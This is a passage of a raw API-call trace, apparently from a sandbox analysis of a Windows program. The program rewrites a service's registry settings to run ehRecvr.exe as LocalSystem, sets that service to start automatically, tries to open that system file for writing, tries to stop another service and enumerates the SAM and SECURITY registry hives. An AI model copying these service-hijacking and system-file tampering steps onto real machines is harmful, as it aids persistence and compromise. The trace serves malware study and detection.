RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.863] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0247.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0247.863] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0247.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0247.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0247.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0247.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0247.865] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0247.865] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0247.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0247.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0247.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0247.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0247.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0247.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0247.866] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0247.866] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0247.866] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0247.866] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0247.866] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0247.866] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0247.866] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0247.866] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0247.866] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0247.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0247.867] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0247.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0247.867] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0247.867] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0247.867] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\ehome\\ehRecvr.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\ehome\\ehRecvr.exe" [0247.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0247.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0247.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0247.867] LocalFree (hMem=0x7e4b18) returned 0x0 [0247.867] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0247.867] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x2) returned 0x8038a0 [0247.868] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0247.869] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0247.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0247.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0247.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0247.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0247.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0247.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.869] RegCloseKey (hKey=0x154) returned 0x0 [0247.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0247.869] RegCloseKey (hKey=0xc4) returned 0x0 [0247.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0247.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0247.870] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0247.870] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0247.870] GetLastError () returned 0x20 [0247.870] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0247.871] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0247.871] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0247.871] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x20) returned 0x803990 [0247.871] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0247.871] GetLastError () returned 0x425 [0247.871] CloseServiceHandle (hSCObject=0x803990) returned 1 [0247.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0247.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0247.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0247.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0247.872] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0247.872] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0247.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0247.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.872] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0247.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0247.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.872] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0247.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0247.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.873] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0247.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0247.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.873] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0247.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.873] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0247.873] 